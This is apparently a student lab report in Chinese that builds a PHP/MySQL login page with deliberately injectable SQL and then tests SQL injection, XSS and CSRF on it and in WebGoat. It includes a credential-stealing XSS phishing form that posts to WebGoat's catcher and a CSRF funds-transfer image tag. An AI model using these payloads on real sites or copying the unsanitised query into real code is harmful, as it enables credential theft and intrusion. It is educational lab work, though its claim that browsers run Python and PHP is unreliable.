目录
一、实践内容
(一)前端HTML
1. 打开Apache
输入service apache2 start
打开Apache服务;
输入netstat -aptn
查看端口信息,如果80端口被Apache2监听,则启动成功。
2. 新建表单
终端输入cd /var/www/html
进入Apache目录下;
输入vi 1206.html
编辑一个简单的含有表单的html文件;
内容为:
<html>
<head>
<title>test</title>
</head>
<body>
<table>
<form method ="POST" action="#" name="frmLogin" >
<tr>
<td>username: </td>
<td><input type="text" name="username" value="Your name" size="20" maxlength="20" /></td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>password:</td>
<td><input type="password" name="password" value="Your password" size="20" maxlength="20" /></td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type="checkbox" name="zlogin" value="1">auto-Login</td>
</tr>
<table>
<tr>
<td><input type="submit" name="login" value="Login" /></td>
<td><input type="reset" name="rs" value="Reset" /></td>
</tr>
</table>
</form>
</table>
</body>
</html>
3. 查看表单
在网页中输入/var/www/html/1206.html
,显示此网页表单。
(二)前端javascipt
1. 添加一段JavaScript代码
将之前代码修改为:
<html>
<head>
<title>test</title>
</head>
<body>
<table>
<form method ="POST" action="login.php" name="frmLogin" >
<tr>
<td>user</td>
<td><input type="text" name="username" value="Your name" size="20" onfocus="if (this.value=='Your name') this.value='';" /></td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>password</td>
<td><input type="password" name="password" value="Your password" size="20" maxlength="20" onfocus="if (this.value=='Your password') this.value='';" /></td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type="checkbox" name="zlogin" value="1">auto login</td>
</tr>
<table>
<tr>
<td><input type="submit" name="login" value="login" onClick="return validateLogin()"/></td>
<td><input type="reset" name="rs" value="reset" /></td>
</tr>
</table>
</form>
</table>
<script language="javascript">
function validateLogin(){
var sUserName = document.frmLogin.username.value ;
var sPassword = document.frmLogin.password.value ;
if ((sUserName =="") || (sUserName=="Your name")){
alert("user name");
return false ;
}
if ((sPassword =="") || (sPassword=="Your password")){
alert("password!");
return false ;
}
}
</script>
</body>
</html>
2. 效果
3. 登录成功界面
编写登录成功后跳转的界面,主要任务是获取用户名参数并显示出来。
<html>
<head>
<title>myindex</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<script language="JavaScript" type="text/javascript">
var searchStr = location.search;
searchStr = searchStr.substr(1);
var searchs = searchStr.split("&");
var username = searchs[0].split("=");
document.write("欢迎您:"+username[1]);
</script>
<body>
<h2 align="center">myindex</h2>
</body>
</html>
4. 效果
(三)Web后端:MySQL基础
1. 启动MySQL
输入service mysql start
开启MySQL服务;
输入sudo mysql -u root -p
使用mysql,默认密码是password。
2. 创建用户、修改密码、建表
CREATE USER hanjin@localhost IDENTIFIED BY '20201206';//创建用户
use mysql;
set password for
root@'localhost'=password('20201206');//修改密码
create database db20201206;//创建名为db20201206的数据库
show databases;//查看数据库
use db20201206;//使用数据库
create table login(username VARCHAR(20),password VARCHAR(20));//建立login表
insert into login values ('[email protected]', '20201206');//插入数据
select * from login;//查询表中数据
grant select,insert,update,delete on db20201206.* to hanjin@localhost identified by "20201206";//添加用户并授予权限
(四)Web后端:编写PHP网页
1. 安装php
sudo apt-get install php
2. 编写php代码
<?php
$uname=$_POST["username"];
$pwd=$_POST["password"];
echo $uname;
$query_str="SELECT * FROM zyqtable where username='$uname' and password='$pwd';";
$mysqli = new mysqli("127.0.0.1", "zyq", "1234", "zyq");
/* check connection */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}
echo "connection ok!";
/* Select queries return a resultset */
if ($result = $mysqli->query($query_str)) {
if ($result->num_rows > 0 ){
echo "<br> Welcome login Mr/Mrs:{$uname} <br> ";
}
else {
echo "<br> login failed!!!! <br> " ; }
/* free result set */
$result->close();
}
$mysqli->close();
?>
3. 效果
(五)SQL注入,XSS攻击测试
1. SQL注入
输入' or 1=1#
,密码随意
2. XSS攻击
输入<script>alert(1)</script>
,密码随意
(六)选做
1. 下载webgoat
参考博客[webgoat 安装教程(windows)] (https://article.itxueyuan.com/46nQXB)
2. 登录webgoat
3. SQL注入
在菜单栏Injection Flaws下拉选项选择Numeric SQL Injection
同样打开页面源码,找到城市复选框对应源码,在Value值中添加or 1=1
点击GO!,即可收到攻击结果:
4. XSS攻击
在title中输入20201206,留言板中输入如下HTML代码
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("surprise man Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
可以看到左边有了已完成的对勾
在下方输入用户名密码处,点击确定后用户名和密码被获取:
5. CSRF攻击
查看Parameters中的src值和menu值,分别为284和900
在title中输入20191215,message框中输入如下代码
<img src="http://localhost:8080/WebGoat/attack?Screen=284&menu=900&transferFunds=20191215" width="99" height="99" />
在下方点击该消息,当前页面会下载此消息并显示,转走用户的钱;没有其他明显的显示,但左侧任务框会显示已完成。
二、报告内容
(一)基础问题回答
1. 什么是表单
表单在网页中主要负责数据采集功能。一个表单有三个基本组成部分:
表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。
表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。
表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。
2. 浏览器可以解析运行什么语言
支持HTML(超文本标记语言)
XML(可扩展标记语言)
Python
PHP
JavaScript
ASP等
3. WebServer支持哪些动态语言
最常用的三种动态网页语言有ASP(ActiveServerPages),JSP(JavaServerPages),PHP(HypertextPreprocessor)。
4. 防范注入攻击的方法有哪些
(1)对输入数据进行严格的过滤和验证
应用程序应该对所有输入数据进行严格的过滤和验证, 确保只有合法的数据能够通过。
(2)使用参数化查询
参数化查询是一种将查询参数与查询语句分开的技术,可以有效防止SQL注入攻击。
(3)使用输入限制
应用程序应该设置输入限制,例如限制输入字符集、输入长度、输入格式等。
标签:Web,document,表单,实验,对抗,SQL,login,password,输入 From: https://www.cnblogs.com/han-jin/p/17426708.html